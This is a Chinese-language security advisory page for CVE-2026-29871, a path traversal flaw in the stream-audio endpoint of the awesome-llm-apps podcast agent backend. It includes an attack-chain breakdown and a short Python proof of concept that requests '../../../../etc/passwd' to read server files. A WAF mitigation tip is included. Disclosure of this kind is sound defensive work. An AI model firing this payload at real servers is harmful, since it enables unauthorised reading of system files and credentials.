IPBUF安全漏洞报告
English
CVE-2026-29871 CVSS 7.5 高危

CVE-2026-29871 awesome-llm-apps路径遍历漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-29871
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
awesome-llm-apps

相关标签

路径遍历任意文件读取awesome-llm-appsFastAPICVE-2026-29871

漏洞概述

CVE-2026-29871是awesome-llm-apps项目中Beifong AI News and Podcast Agent后端组件发现的一个高危路径遍历漏洞。该漏洞出现在FastAPI后端的stream-audio端点中,由于`routers/podcast_router.py`文件的`stream_audio`函数直接将用户控制的路径参数拼接到文件系统路径,且未实施任何有效的验证或限制机制。未经身份验证的远程攻击者可利用此缺陷读取服务器上的任意文件,包括敏感的配置文件、源代码或凭证密钥,从而可能导致进一步的服务器沦陷,对系统机密性造成严重影响。

技术细节

该漏洞的技术原理在于缺乏输入验证的路径拼接操作。具体漏洞点位于`routers/podcast_router.py`文件的`stream_audio`函数内,该函数旨在处理音频流请求。然而,开发人员直接将HTTP请求中用户可控的参数(如文件名)与基础目录路径进行拼接,未对输入字符串进行任何安全清洗或规范化。攻击者可利用路径遍历序列(如`../`或`..\`)在文件系统中导航至预期目录之外。利用方式非常简单,攻击者只需构造一个包含遍历字符的URL参数发送至服务器。例如,若基础目录为`/app/audio`,发送`?file=../../etc/passwd`将使服务器读取`/etc/passwd`。由于该端点位于FastAPI后端且无需认证,攻击者可轻易获取服务器上的敏感配置信息、日志文件或私有密钥,为后续攻击提供便利。

攻击链分析

STEP 1
侦察
攻击者识别目标服务器上运行的awesome-llm-apps项目及其Beifong AI News and Podcast Agent后端。
STEP 2
武器化
攻击者构造包含路径遍历字符(如../)的HTTP请求参数,旨在访问敏感系统文件(如/etc/passwd或配置文件)。
STEP 3
交付
攻击者通过互联网向受害者的FastAPI服务器stream-audio端点发送特制的恶意HTTP GET请求。
STEP 4
利用
后端服务器接收请求,`stream_audio`函数将恶意参数直接拼接到文件路径中,导致系统读取并返回非预期目录下的文件内容。
STEP 5
影响
攻击者成功获取服务器敏感信息(如数据库凭证、API密钥),可能为进一步的入侵或数据泄露提供条件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:8000/stream-audio" # Malicious path parameter to traverse directories # Attempting to read /etc/passwd payload = { "path": "../../../../etc/passwd" } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=payload) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

awesome-llm-apps commit e46690f99c3f08be80a9877fab52acacf7ab8251

防御指南

临时缓解措施
建议在Web应用防火墙(WAF)或API网关处部署规则,拦截包含路径遍历特征(如"../"或"..%5c")的请求参数,作为临时缓解措施,直至官方补丁完全部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表